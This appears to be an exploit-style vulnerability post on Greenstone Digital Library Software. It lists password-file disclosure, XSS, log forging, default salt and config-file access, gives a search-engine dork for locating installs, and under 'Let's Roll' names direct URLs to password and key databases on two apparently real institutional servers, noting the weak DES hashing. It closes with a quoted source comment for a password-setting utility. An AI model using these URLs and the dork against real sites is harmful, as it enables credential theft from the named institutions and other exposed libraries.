Vulnerable Software: Greenstone Digital Library Software.
Official Site: http://www.greenstone.org/
Dork: inurl:gsdl/etc/
==========================================================================
About software:
The aim of the Greenstone software is to empower users,
particularly in universities, libraries,
and other public service institutions,
to build their own digital libraries.
Digital libraries are radically reforming how information
is disseminated and acquired in UNESCO's partner communities
and institutions in the fields of education, science
and culture around the world, and particularly in developing countries.
==========================================================================
About Vulnerabilities.
This software: is prone to multiple vulnerabilities such as:
[*] Password file Disclosure,
[*] Cross Site Scripting,
[*] Log File forging,Log File poisoning,
[*] Default salt,
[*] Unrestricted access to system/configuration files.
(As well as to passwords file as mentinoned above.)
=================Let's Roll============================
Password file disclosure:
http://greenstone.flib.sci.am/gsdl/etc/users.gdb
http://greenstone.flib.sci.am/gsdl/etc/key.gdb
http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db
http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db
Example:
(P.S Password encryption: Des (Unix))
===================== Reproduce =====================

// setpasswd is a windows application that can be used to encrypt a password
// and write it (along with its corresponding username) to a gdbm database.
// it handles writing to the gdbm database itself to avoid having to call
// the txt2db console application (and therefore avoiding the console
// window popping up when called from another windows application).
// note that setpasswd does no checking to make sure that any of it's
// input arguments are valid (or even reasonable) values.
// this program should be compiled into a binary called setpw.exe (to be
// short enough not to mess with 16 bit Windows platforms).
// usage:
// setpw -u username -p password -o output_gdbm_file
